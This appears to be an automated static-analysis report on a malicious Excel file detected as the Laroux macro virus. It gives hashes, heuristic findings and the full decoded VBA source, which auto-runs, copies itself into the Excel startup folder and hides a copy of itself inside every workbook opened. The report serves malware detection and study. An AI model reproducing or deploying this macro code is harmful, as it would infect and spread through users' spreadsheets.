Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eb45f319b7f21c1d…

MALICIOUS

Office (OLE)

232.5 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-10-05
MD5: cdf2be42999cd62b4b452bd3059dda90 SHA-1: 8e5a196c104e8666066065d831367ac7649b8216 SHA-256: eb45f319b7f21c1dc54312bdf112e4a8b7cd74842b83f4b8e5e3b759d43cb4e0
230 Risk Score

Heuristics 6

  • ClamAV: Xls.Trojan.Laroux-32 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Laroux-32
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
        ChDir Application.StartupPath
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = "ck_files"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.tax.sh.gov.cn/wsbs/wsbs27/WSBSfpcxCtrl-fpcxYzfpisZx.pfv In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2194 bytes
SHA-256: b5c8c2f263b4a8ba089347b2a0f20c15ff00a91e7ef22c35888bdc246c2f81dc
Detection
ClamAV: Xls.Trojan.Laroux-32
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Results"




Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
Attribute ck_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub




Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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